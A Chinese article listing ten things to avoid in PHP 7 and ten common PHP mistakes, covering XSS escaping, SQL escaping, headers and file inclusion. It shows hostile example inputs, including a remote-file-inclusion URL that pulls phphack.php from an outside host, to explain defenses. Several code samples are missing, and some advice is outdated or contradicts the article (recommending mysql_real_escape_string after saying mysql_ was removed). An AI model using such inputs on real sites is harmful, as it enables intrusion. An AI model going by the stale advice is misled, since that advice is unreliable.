PHP

在PHP7中不要做的10件事

时间:2024-09-06 11:02:22 淼荣 PHP 我要投稿
  • 相关推荐

在PHP7中不要做的10件事

  PHP7于2015年10月正式发布,PHP7 ,将会是PHP脚本语言的重大版本更新,同时将带来大幅的性能改进和新的特性,以及改进一些过时功能。 该发布版本将会专注在性能加强,源自PHP版本树中的phpng分支。

  1、不要使用 mysql_ 函数

  这一天终于来了,从此你不仅仅“不应该”使用mysql_函数。PHP 7 已经把它们从核心中全部移除了,也就是说你需要迁移到好得多的mysqli_函数,或者更灵活的 PDO 实现。

  2、不要编写垃圾代码

  这一条可能易于理解,但是会变得越来越重要,因为 PHP 7 的速度提升可能会隐藏你的一些问题。不要仅仅满足于你的站点速度,因为迁移到 PHP 7 才让它变快。

  为了理解速度有多重要,以及如何把事情做得更好,请看一看我们的文章速度优化入门指南。

  作为一名开发者,你应该总是确保按需加载脚本,尽可能连接它们,编写高效的数据库查询,尽可能使用缓存,以及其它。

  3、不要在文件末尾使用 PHP 闭合标签

  你可以看一看,当一个文件以 PHP 代码结尾时,WordPress 多数核心代码都把末尾的 PHP 标签去掉了。实际上,Zend 框架特别禁止了它。PHP 并不需要文件末尾的闭合标签,并且我们可以通过去掉它来保证不会在后面添加任何的空白字符。

  4、不要做不必要的引用传递

  我个人不喜欢引用传递。我知道有时候它很实用,但是其它情况下它使代码变得难懂,并且更难预测结果。

  据说一些人认为它使代码运行更快,但是根据一些 PHP 高级程序员所说,这并不正确。

  说明引用为什么不好的一个例子是,PHP 内建了shuffle()和sort()。它们修改原始数组,而不是返回处理后的数组,这很不合逻辑。

  5、不要在循环中执行查询

  在循环中执行查询非常浪费。它给你的系统施加不必要的压力,并且可能能够在循环外部更快获得相同结果。当我遇到需要这样的情况时,我通常会使用两个分离的查询来解决问题,我会使用它们来构建数据数组。之后我会遍历数组,并不需要在这个过程中执行查询。

  由于 WordPress 适用于这里,它可能有一些例外。虽然get_post_meta() 会从数据库获取大量数据,如果你正在遍历某个特殊博文的元数据你可以在循环中使用它。这是因为当你第一次调用它的时候,WordPress实际上会获取所有元数据并缓存它们。后续的调用使用这些缓存数据,没有数据库的调用。

  弄懂这些的最佳方式是阅读函数文档,以及使用类似 Query Monitor 的工具。

  6、不要在 SQL 查询中使用*

  当然,这个更像 MySQL 的问题,但是我们习惯在 PHP 中编写 SQL 代码,所以都差不多。无论如何,如果可以避免的话,不要在 SQL 查询里使用通配符,尤其是数据库有很多列的时候。

  你应该明确指定需要哪些行,并且仅仅获取它们。这有助于减少所用资源,保护数据,以及让事情变得尽可能清晰。

  对于 SQL,你需要了解所有可用的函数,并且尽可能测试其速度。在计算均值、求和或计算类似数值时,要使用 SQL 函数而不是 PHP 函数。如果你不确定某个查询的速度,测试它并且尝试一些其它的编译 — 之后使用最好的那个。

  7、不要信任用户输入

  信任用户输入是不明智的。始终校验、过滤、转义、检查并留好退路。用户数据存在三个问题:我们开发者并没有考虑每种可能性,它通常不正确,以及它可能是蓄意破坏。

  经过周密考虑的系统可以防护这些威胁。要确保使用类似filter_var()的内建函数检查适当的值,以及在处理数据库时转义(或预编译)。

  WordPress 拥有一些函数来解决问题。详见文章校验、转义和过滤用户数据。

  8、不要故作聪明

  你的目标应该是编写优雅的代码,来更清晰地表达你的意图。你可能能够通过将任何东西缩短为一个单词的变量,使用多层的三元逻辑,以及其它手段,从每个页面中优化 0.01 秒。但这只会给你和你周围的人产生麻烦。

  合理命名变量,为代码编写文档,优先选择清晰而不是简洁。甚至还可以更好,使用标准的面向对象代码,它本身或多或少就是文档,不需要一大堆内联数值。

  9、不要重新发明轮子

  PHP 到现在为止有很长时间了,网站被造出来的时间更长。很可能无论你需要造出什么,一些人之前早就造出来了。不要害怕向他人寻求支持,Github是你的好朋友,Composer也是,Packagist也是。

  从日志工具到调色工具,从性能分析器到单元测试框架,从 Mailchimp API 到 Bootstrap,每个东西都可以通过按下按键(或者敲下命令)来获取,使用它们吧!

  10、不要忽略其它语言

  如果你是个 PHP 程序员,现在有个好机会去至少了解 HTML、CSS、JavaScript 和 MySQL。当你能够更好地处理这些语言时,就是重新学习 JavaScript 的时机了。JavaScript 并不是 jQuery,你应该合理地学习 JavaScript 来更高效地使用它。

  我也打算向你推荐学习面向对象的 PHP,它可以节省时间,并且在代码规模更大时会变得更好。对于类似 C# 和 Java 的语言,在你了解 OOP 之后,它们也更易于理解。

  通过了解包管理器、构建脚本、CoffeeScript、LESS、SASS、YAML 、脚本引擎和其它强大的工具来扩展你的知识面。我强烈向你推荐看一看其它框架,尤其是 Laravel。

  当你使用它们出色完成任务时,学习 Ruby、RoR、Android、iPhone 和 Windows Phone 应用开发如何?你可能会认为这毫无意义,因为它们在你的舒适区和工作所需范围之外,但是这就是它们的意义。每种语言都有一些要学习的实用的东西,以及从没碰到的新知识。所有 PHP 顶级开发者都懂得很多其它编程语言,这并非偶然。

  php码农最容易出现的10条错误:

  1.不转意html entities

  一个基本的常识:所有不可信任的输入(特别是用户从form中提交的数据) ,输出之前都要转意。

  echo $_GET[usename] ;

  这个例子有可能输出:

  《script》/更改admin密码的脚本或设置cookie的脚本/《script》

  这是一个明显的安全隐患,除非你保证你的用户都正确的输入。

  如何修复 :

  我们需要将"< ",">","and" 等转换成正确的HTML表示(< , >, and "),函数htmlspecialchars 和 htmlentities()正是干这个活的。

  正确的方法:

  echo htmlspecialchars($_GET[username], ENT_QUOTES);

  2. 不转意SQL输入

  我曾经在一篇文章中最简单的防止sql注入的方法(php+mysql中)讨论过这个问题并给出了一个简单的方法 。有人对我说,他们已经在php.ini中将magic_quotes设置为On,所以不必担心这个问题,但是不是所有的输入都是从$_GET, $_POST或 $_COOKIE中的得到的!

  如何修复:

  和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数

  正确做法:

  3.错误的使用HTTPheader 相关的函数: header(), session_start(), setcookie()

  遇到过这个警告吗?"warning: Cannot add header information headers already sent [....]

  每次从服务器下载一个网页的时候,服务器的输出都分成两个部分:头部和正文。

  头部包含了一些非可视的数据,例如cookie。头部总是先到达。正文部分包括可视的html,图片等数据。

  如果output_buffering设置为Off,所有的HTTPheader相关的函数必须在有输出之前调用。问题在于你在一个环境中开发,而在部署到另一个环境中去的时候,output_buffering的设置可能不一样。结果转向停止了,cookie和session都没有正确的设置........。

  如何修复:

  确保在输出之前调用httpheader相关的函数,并且令output_buffering = Off。

  4. Require 或 include 的文件使用不安全的数据

  再次强调:不要相信不是你自己显式声明的数据。不要 Include 或 require 从$_GET, $_POST 或 $_COOKIE 中得到的文件。

  例如:

  index.php

  现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt来获取你的机密信息,或执行一个PHP脚本。

  如果allow_url_fopen=On,你更是死定了:

  试试这个输入:http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php

  现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。

  如何修复:

  你必须自己控制哪些文件可以包含在的include或require指令中。

  5. 语法错误

  语法错误包括所有的词法和语法错误,太常见了,以至于我不得不在这里列出。解决办法就是认真学习PHP的语法,仔细一点不要漏掉一个括号,大括号,分号,引号。还有就是换个好的编辑器,就不要用记事本了!

  6.很少使用或不用面向对象

  很多的项目都没有使用PHP的面向对象技术,结果就是代码的维护变得非常耗时耗力。PHP支持的面向对象技术越来越多,越来越好,我们没有理由不使用面向对象。

  7. 不使用framework

  95% 的PHP项目都在做同样的四件事: Create, edit, list 和. 现在有很多MVC的框架来帮我们完成这四件事,我们为何不使用他们呢?

  8. 不知道PHP中已经有的功能

  PHP的核心包含很多功能。很多程序员重复的发明轮子。浪费了大量时间。编码之前搜索一下PHP mamual,在google上检索一下,也许会有新的发现!PHP中的exec()是一个强大的函数,可以执行cmd shell,并把执行结果的最后一行以字符串的形式返回。考虑到安全可以使用EscapeShellCmd()

  9.使用旧版本的PHP

  很多程序员还在使用PHP4,在PHP4上开发不能充分发挥PHP的潜能,还存在一些安全的隐患。转到PHP5上来吧,并不费很多功夫。大部分PHP4程序只要改动很少的语句甚至无需改动就可以迁移到PHP5上来。根据http://www.nexen.net的调查 只有12%的PHP服务器使用PHP5,所以有88%的PHP开发者还在使用PHP4.

  10.对引号做两次转意

  见过网页中出现\或\"吗?这通常是因为在开发者的环境中magic_quotes 设置为off,而在部署的服务器上magic_quotes =on. PHP会在 GET, POST 和 COOKIE中的数据上重复运行addslashes() 。

  原始文本:

  Its a string magic quotes on : It\s a string 又运行一次 addslashes(): It\\s a string HTML输出: It\s a string

  还有一种PHP程序员最容易出现错误的情况就是,用户一开始输入了错误的登录信息,服务器检测到错误输入后,输出同样的form要求用户再次输入,导致用户的输入转意两次!

【在PHP7中不要做的10件事】相关文章:

环境评价要做什么07-09

音响师需要做哪些工作02-01

成语中的名人故事(通用10篇)12-26

淘宝美工都需要做些什么01-09

哪些人群需要做基因检测10-20

物流师主要做是什么的09-20

考编导专业都需要做哪些准备10-29

演讲不紧张技巧09-03

初三中考备考计划(精选10篇)06-09

2024年中元节的10大禁忌08-21